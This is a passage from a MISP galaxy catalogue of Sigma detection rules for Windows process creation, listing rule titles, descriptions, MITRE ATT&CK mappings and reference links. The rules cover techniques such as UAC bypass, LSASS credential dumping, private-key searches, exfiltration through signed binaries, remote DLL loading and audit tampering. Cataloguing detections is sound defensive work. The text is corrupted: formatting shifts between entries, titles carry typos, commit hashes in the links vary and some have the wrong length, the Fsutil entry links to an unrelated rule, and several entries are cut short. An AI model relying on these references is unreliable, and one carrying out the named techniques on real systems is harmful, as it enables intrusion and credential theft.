<td><a href="https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/">https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csc_susp_dynamic_compilation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csc_susp_dynamic_compilation.yml</a></td>
</tr>
</tbody>
</table>
SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code

Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs

The tag is: `misp-galaxy:sigma-rules="SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code"`

View relationships graph

syncAppvPublishingServer VBS Execute Arbitrary PowerShell Code has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with
  estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216"` with
  estimative-language:likelihood-probability="almost-certain"

Table 9990. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/">https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml</a></td>
</tr>
</tbody>
</table>

Execution via stordiag.exe

Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe

The tag is: `misp-galaxy:sigma-rules="Execution via stordiag.exe"`

View relationships graph

Execution via stordiag.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with
  estimative-language:likelihood-probability="almost-certain"

Table 9991. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html">https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/eral4m/status/1451112385041911809">https://twitter.com/eral4m/status/1451112385041911809</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_susp_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_susp_child_process.yml</a></td>
</tr>
</tbody>
</table>
PUA - NirCmd Execution As LOCAL SYSTEM

Detects the use of NirCmd tool for command execution as SYSTEM user

The tag is: `misp-galaxy:sigma-rules="PUA - NirCmd Execution As LOCAL SYSTEM"`

View relationships graph

PUA - NirCmd Execution As LOCAL SYSTEM has relationships with:


Table 9992. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/">https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/</a></td>
</tr>
<tr>
<td><a href="https://www.nirsoft.net/utils/nircmd2.html#using">https://www.nirsoft.net/utils/nircmd2.html#using</a></td>
</tr>
<tr>
<td><a href="https://www.nirsoft.net/utils/nircmd.html">https://www.nirsoft.net/utils/nircmd.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd_as_system.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd_as_system.yml</a></td>
</tr>
</tbody>
</table>

Application Removed Via Wmic.EXE

Uninstall an application with wmic

The tag is: `misp-galaxy:sigma-rules="Application Removed Via Wmic.EXE"`

View relationships graph

Application Removed Via Wmic.EXE has relationships with:


Table 9993. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7f7fcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-10---application-uninstall-using-wmic">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7f7fcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-10---application-uninstall-using-wmic</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_uninstall_application.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_uninstall_application.yml</a></td>
</tr>
</tbody>
</table>

Private Keys Reconnaissance Via CommandLine Tools

Adversaries may search for private key certificate files on compromised systems for insecurely stored credential
The tag is: `misp-galaxy:sigma-rules="Private Keys Reconnaissance Via CommandLine Tools"`

View relationships graph

Private Keys Reconnaissance Via CommandLine Tools has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004"` with estimative-language:likelihood-probability="almost-certain"

**Table 9994. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcedd3742bfc365fee2a9/atomics/T1552.004/T1552.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcedd3742bfc365fee2a9/atomics/T1552.004/T1552.004.md</a></td>
</tr>
</tbody>
</table>

**Changing Existing Service ImagePath Value Via Reg.EXE**

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services

The tag is: `misp-galaxy:sigma-rules="Changing Existing Service ImagePath Value Via Reg.EXE"`

View relationships graph

Changing Existing Service ImagePath Value Via Reg.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011"` with estimative-language:likelihood-probability="almost-certain"

**Table 9995. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_service_imagepath_change.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_service_imagepath_change.yml</a></td>
</tr>
</tbody>
</table>
Potentially Suspicious Child Process Of ClickOnce Application

Detects potentially suspicious child processes of a ClickOnce deployment application

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious Child Process Of ClickOnce Application"`

<table>
<thead>
<tr>
<th>Table 9996. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5">https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_dfsvc_suspicious_child_processes.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_dfsvc_suspicious_child_processes.yml</a></td>
</tr>
</tbody>
</table>

Suspicious ConfigSecurityPolicy Execution

Upload file, credentials or data exfiltration with Binary part of Windows Defender

The tag is: `misp-galaxy:sigma-rules="Suspicious ConfigSecurityPolicy Execution"`

View relationships graph

Suspicious ConfigSecurityPolicy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 9997. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/">https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml</a></td>
</tr>
</tbody>
</table>

Audit Policy Tampering Via NT Resource Kit Auditpol

Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.

The tag is: `misp-galaxy:sigma-rules="Audit Policy Tampering Via NT Resource Kit Auditpol"`

View relationships graph

Audit Policy Tampering Via NT Resource Kit Auditpol has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 9998. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol">https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_auditpol_nt_resource_kit_usage.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_auditpol_nt_resource_kit_usage.yml</a></td>
</tr>
</tbody>
</table>

Bypass UAC via Fodhelper.exe

Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.

The tag is: misp-galaxy:sigma-rules="Bypass UAC via Fodhelper.exe"

View relationships graph

Bypass UAC via Fodhelper.exe has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 9999. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdedc3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdedc3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md</a></td>
</tr>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html">https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml</a></td>
</tr>
</tbody>
</table>

Application Whitelisting Bypass via Dnx.exe

Execute C# code located in the consoleapp folder

The tag is: misp-galaxy:sigma-rules="Application Whitelisting Bypass via Dnx.exe"

View relationships graph

Application Whitelisting Bypass via Dnx.exe has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
• related-to: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"
Windows Kernel Debugger Execution

Detects execution of the Windows Kernel Debugger "kd.exe".

The tag is: *misp-galaxy: sigma-rules*="Windows Kernel Debugger Execution"

Potential Dosfuscation Activity

Detects possible payload obfuscation via the commandline

The tag is: *misp-galaxy: sigma-rules*="Potential Dosfuscation Activity"

Suspicious Calculator Usage

Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion.
The tag is: *misp-galaxy:.sigma-rules*="Suspicious Calculator Usage"

View relationships graph

Suspicious Calculator Usage has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10003. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://twitter.com/ItsReallyNick/status/1094080242686312448">https://twitter.com/ItsReallyNick/status/1094080242686312448</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_calc_uncommon_exec.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_calc_uncommon_exec.yml</a></td>
</tr>
</tbody>
</table>

**Potential ReflectDebugger Content Execution Via WerFault.EXE**

Detects execution of "WerFault.exe" with the "-pr" commandline flag that is used to run files stored in the ReflectDebugger key which could be used to store the path to the malware in order to masquerade the execution flow

The tag is: *misp-galaxy:.sigma-rules*="Potential ReflectDebugger Content Execution Via WerFault.EXE"

View relationships graph

Potential ReflectDebugger Content Execution Via WerFault.EXE has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10004. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://www.hexacorn.com/blog/2018/08/31/beyond-good-ol-run-key-part-85/">https://www.hexacorn.com/blog/2018/08/31/beyond-good-ol-run-key-part-85/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_werfault_reflect_debugger_exec.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_werfault_reflect_debugger_exec.yml</a></td>
</tr>
</tbody>
</table>

**Potential Encoded PowerShell Patterns In CommandLine**

Detects specific combinations of encoding methods in PowerShell via the commandline

The tag is: *misp-galaxy:.sigma-rules*="Potential Encoded PowerShell Patterns In CommandLine"
Potential Encoded PowerShell Patterns In CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Dropping Of Password Filter DLL

Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS

The tag is: misp-galaxy:sigma-rules="Dropping Of Password Filter DLL"

Potential ShellDispatch.DLL Functionality Abuse

Detects potential "ShellDispatch.dll" functionality abuse to execute arbitrary binaries via "ShellExecute"

The tag is: misp-galaxy:sigma-rules="Potential ShellDispatch.DLL Functionality Abuse"
Suspicious Curl.EXE Download

Detects a suspicious curl process start on Windows and outputs the requested document to a local file

The tag is: misp-galaxy:sigma-rules="Suspicious Curl.EXE Download"

View relationships graph

Suspicious Curl.EXE Download has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 10008. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/max_mal_/status/1542461200797163522">https://twitter.com/max_mal_/status/1542461200797163522</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/">https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/</a></td>
</tr>
<tr>
<td><a href="https://github.com/pr0xylife/Qakbot/blob/4f0795d79dab6e5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt">https://github.com/pr0xylife/Qakbot/blob/4f0795d79dab6e5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt</a></td>
</tr>
<tr>
<td><a href="https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464">https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1105/T1105.md#atomic-test-18---curl-download-file">https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1105/T1105.md#atomic-test-18---curl-download-file</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_susp_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_susp_download.yml</a></td>
</tr>
</tbody>
</table>

Start Windows Service Via Net.EXE

Detects the usage of the "net.exe" command to start a service using the "start" flag

The tag is: misp-galaxy:sigma-rules="Start Windows Service Via Net.EXE"

View relationships graph

Start Windows Service Via Net.EXE has relationships with:


Table 10009. Table References
**Diskshadow Script Mode - Uncommon Script Extension Execution**

Detects execution of "Diskshadow.exe" in script mode to execute an script with a potentially uncommon extension. Initial baselining of the allowed extension list is required.

The tag is: `misp-galaxy:sigma-rules="Diskshadow Script Mode - Uncommon Script Extension Execution"`

**View relationships graph**

Diskshadow Script Mode - Uncommon Script Extension Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

---

**Table 10010. Table References**

---

**Psexec Execution**

Detects user accept agreement execution in psexec commandline

The tag is: `misp-galaxy:sigma-rules="Psexec Execution"`
Psexec Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Services - T1569" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 10011. Table References

Links

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_execution.yml

Suspeicious RASdial Activity

Detects suspicious process related to rasdial.exe

The tag is: misp-galaxy:sigma-rules="Suspicious RASdial Activity"

Table 10012. Table References

Links

https://twitter.com/subTee/status/891298217907830785
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rasdial_execution.yml

Suspeicious New Service Creation

Detects creation of a new service via "sc" command or the powershell "new-service" cmdlet with suspicious binary paths

The tag is: misp-galaxy:sigma-rules="Suspicious New Service Creation"

Suspicious New Service Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-likelihood-probability="almost-certain"
Exchange PowerShell Snap-Ins Usage

Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27

The tag is: `misp-galaxy:sigma-rules="Exchange PowerShell Snap-Ins Usage"`

View relationships graph

Exchange PowerShell Snap-Ins Usage has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Email Collection - T1114"` with estimative-language:likelihood-probability="almost-certain"

Potential Persistence Attempt Via Existing Service Tampering

Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence.

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Attempt Via Existing Service Tampering"`
Potential Persistence Attempt Via Existing Service Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

UAC Bypass Using DismHost

Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)

The tag is: misp-galaxy:sigma-rules="UAC Bypass Using DismHost"

Suspicious Plink Port Forwarding

Detects suspicious Plink tunnel port forwarding to a local port

The tag is: misp-galaxy:sigma-rules="Suspicious Plink Port Forwarding"
Write Protect For Storage Disabled

Looks for changes to registry to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.

The tag is: misp-galaxy:sigma-rules="Write Protect For Storage Disabled"

View relationships graph

Write Protect For Storage Disabled has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Renamed Visual Studio Code Tunnel Execution

Detects renamed Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel

The tag is: misp-galaxy:sigma-rules="Renamed Visual Studio Code Tunnel Execution"

View relationships graph

Renamed Visual Studio Code Tunnel Execution has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
Verclsid.exe Runs COM Object

Detects when verclsid.exe is used to run COM object via GUID

The tag is: misp-galaxy:sigma-rules="Verclsid.exe Runs COM Object"

View relationships graph

Verclsid.exe Runs COM Object has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 10020. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Verclsid/">https://lolbas-project.github.io/lolbas/Binaries/Verclsid/</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/NickTyrer/0598b60112eaafed07789f7964290d5">https://gist.github.com/NickTyrer/0598b60112eaafed07789f7964290d5</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml</a></td>
</tr>
</tbody>
</table>

Potentially Suspicious Regsvr32 HTTP IP Pattern

Detects regsvr32 execution to download and install DLLs located remotely where the address is an IP address.

The tag is: misp-galaxy:sigma-rules="Potentially Suspicious Regsvr32 HTTP IP Pattern"

View relationships graph

Potentially Suspicious Regsvr32 HTTP IP Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 10021. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1461041276514623491">https://twitter.com/mrd0x/status/1461041276514623491</a></td>
</tr>
</tbody>
</table>
Potential Product Class Reconnaissance Via Wmic.EXE

Detects the execution of WMIC in order to get a list of firewall and antivirus products

The tag is: `misp-galaxy:sigma-rules="Potential Product Class Reconnaissance Via Wmic.EXE"`

View relationships graph

Potential Product Class Reconnaissance Via Wmic.EXE has relationships with:


Table 10022. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/albertzsigovits/malware-notes/blob/c820c7f6976a861b28ebc77e06100e20ec29/Ransomware/Maze.md">https://github.com/albertzsigovits/malware-notes/blob/c820c7f6976a861b28ebc77e06100e20ec29/Ransomware/Maze.md</a></td>
</tr>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1">https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_product_class.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_product_class.yml</a></td>
</tr>
</tbody>
</table>

Potential Arbitrary File Download Using Office Application

Detects potential arbitrary file download using a Microsoft Office application

The tag is: `misp-galaxy:sigma-rules="Potential Arbitrary File Download Using Office Application"`

View relationships graph

Potential Arbitrary File Download Using Office Application has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

Table 10023. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/</a></td>
</tr>
</tbody>
</table>
Suspicious DumpMinitool Execution

Detects suspicious ways to use the "DumpMinitool.exe" binary

The tag is: misp-galaxy:sigma-rules="Suspicious DumpMinitool Execution"

View relationships graph

Suspicious DumpMinitool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Execution of Powershell Script in Public Folder

This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder

The tag is: misp-galaxy:sigma-rules="Execution of Powershell Script in Public Folder"

View relationships graph

Execution of Powershell Script in Public Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
Use Short Name Path in Image

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection.

The tag is: `misp-galaxy:sigma-rules="Use Short Name Path in Image"`

View relationships graph

Use Short Name Path in Image has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern=NTFS File Attributes - T1564.004` with estimative-language:likelihood-probability="almost-certain"

**Table 10026. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/">https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/frack113/status/1555830623633375232">https://twitter.com/frack113/status/1555830623633375232</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_image.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_image.yml</a></td>
</tr>
</tbody>
</table>

Fsutil Suspicious Invocation

Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others).

The tag is: `misp-galaxy:sigma-rules="Fsutil Suspicious Invocation"`

View relationships graph

Fsutil Suspicious Invocation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern=Indicator Removal - T1070` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern=Data Destruction - T1485` with estimative-language:likelihood-probability="almost-certain"

**Table 10027. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_image.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_image.yml</a></td>
</tr>
</tbody>
</table>
Insensitive Subfolder Search Via Findstr.EXE

Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands.

The tag is: **misp-galaxy:sigma-rules=*Insensitive Subfolder Search Via Findstr.EXE*”

View relationships graph

Insensitive Subfolder Search Via Findstr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 10028. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Findstr/">https://lolbas-project.github.io/lolbas/Binaries/Findstr/</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f">https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_subfolder_search.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_subfolder_search.yml</a></td>
</tr>
</tbody>
</table>

Execute Pcwrun.EXE To Leverage Follina

Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability
The tag is: misp-galaxy:sigma-rules="Execute Pcwrun.EXE To Leverage Follina"

View relationships graph

Execute Pcwrun.EXE To Leverage Follina has relationships with:

